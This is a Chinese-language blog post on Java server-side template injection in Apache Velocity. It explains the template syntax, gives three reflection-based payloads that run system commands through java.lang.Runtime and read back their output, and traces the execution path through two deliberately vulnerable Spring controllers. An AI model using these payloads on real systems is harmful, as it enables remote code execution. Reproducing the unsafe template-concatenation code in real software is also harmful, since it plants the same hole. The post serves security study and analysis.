Java安全之Velocity模版注入

Apache Velocity#

Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法

Pom.xml

<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

https://velocity.apache.org/engine/devel/user-guide.html

https://wizardforcel.gitbooks.io/velocity-doc/content/1.html

基本语法#

语句标识符

#用来标识Velocity的脚本语句，包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。

变量

$用来标识一个变量，比如模板文件中为Hello $a，可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量，变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##，多行注释为成对出现的#* ............. *#

逻辑运算

== && || !

条件语句

以if/else为例：

#if($foo<10)
    <strong>1</strong>
#elseif($foo==10)
    <strong>2</strong>
#elseif($bar==6)
    <strong>3</strong>
#else
    <strong>4</strong>
#end

单双引号

单引号不解析引用内容，双引号解析引用内容，与PHP有几分相似

#set ($var="aaaaa")
'$var'  ## 结果为：$var
"$var"  ## 结果为：aaaaa

属性

通过.操作符使用变量的内容，比如获取并调用getClass()

#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义，但是又需要原样输出$a，可以试用\转义作为关键的$

{} 标识符

"{}"用来明确标识Velocity变量；
比如在页面中，页面中有一个$someonename，此时，Velocity将把someonename作为变量名，若我们程序是想在someone这个变量的后面紧接着显示name字符，则上面的标签应该改成${someone}name。

！标识符

"!"用来强制把不存在的变量显示为空白。
如当页面中包含$msg，如果msg对象有值，将显示msg的值，如果不存在msg对象同，则在页面中将显示$msg字符。这是我们不希望的，为了把不存在的变量或变量值为null的对象显示为空白，则只需要在变量名前加一个“!”号即可。
如：$!msg
我们提供了五条基本的模板脚本语句，基本上就能满足所有应用模板的要求。这四条模板语句很简单，可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中，我们看到，所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现：
　　 1、$!obj 　直接返回对象结果。
　　 如：在html标签中显示java对象msg的值。

<p>$!msg</p>
　 在html标签中显示经过HtmlUtil对象处理过后的msg对象的值
  <p>$!HtmlUtil.doSomething($!msg)</p>

　　2、#if($!obj) #else #end 判断语句
　　 如：在EasyJWeb各种开源应用中，我们经常看到的用于弹出提示信息msg的例子。

　　 #if($msg)

　　 <script>
　　 alert('$!msg');
　　 </script>

　　 #end

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2 
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入#

抠了段代码

 @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="nth347") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

首先将我们传入的poc拼接进去后，调用Velocity.init();,最终实际调用的是RuntimeInstance#init

会进行一系列的初始化操作，其中包括加载/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties中的runtime.log.logsystem.class,实例化org.apache.velocity.runtime.resource.ResourceManagerImpl以及记录一些log

之后实例化VelocityContext并将三个键值对 put了进去，调用Velocity.evaluate()来解析,跟进

发现是通过RuntimeInstance#evaluate中调用parse解析

继续跟进parser.parse(reader, templateName);,首先在this.velcharstream.ReInit(reader, 1, 1);将在StringReader中的poc存储到Parser.velcharstream属性的buffer中

之后会在process内循环遍历处理vlocity语法之后，大致解析成下面这个样子...

进入this.render(context, writer, logTag, nodeTree);来解析渲染，主要是从AST树中和Context中，在ASTSetDirective#render将poc put进了context。这里涉及到几个类ASTRference ASTMethod,其中涉及到了ast的处理，感兴趣的师傅可以自己跟下看看

ASTMethod#execute中反射调用runtime

调用栈如下：

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣来的代码，这个可能实际环境遇到盖里高点，主要是可控vm模版文件内的内容，在调用template.merge(ctx, out);会解析模版并触发模版注入

    @RequestMapping("/ssti/velocity2")
    @ResponseBody
    public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
        String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
        templateString = templateString.replace("<USERNAME>", username);

        StringReader reader = new StringReader(templateString);

        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();

        template.merge(ctx, out);

        return out.toString();

    }

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字符串可被我们插入或替换即可造成模版注入，中间调用runtimeServices.parse将模版内容解析，交给template.merge(ctx, out);渲染。在template.merge 调用SimpleNode#render，后续调用和上面的就一致了。

主要是注意vm模版内容可不可控，并在修改后能被Velocity.evaluate() Template.merge(ctx, out);渲染，即可造成模版注入。

Reference#

https://www.cnblogs.com/nice0e3/p/16218857.html

https://xz.aliyun.com/t/8135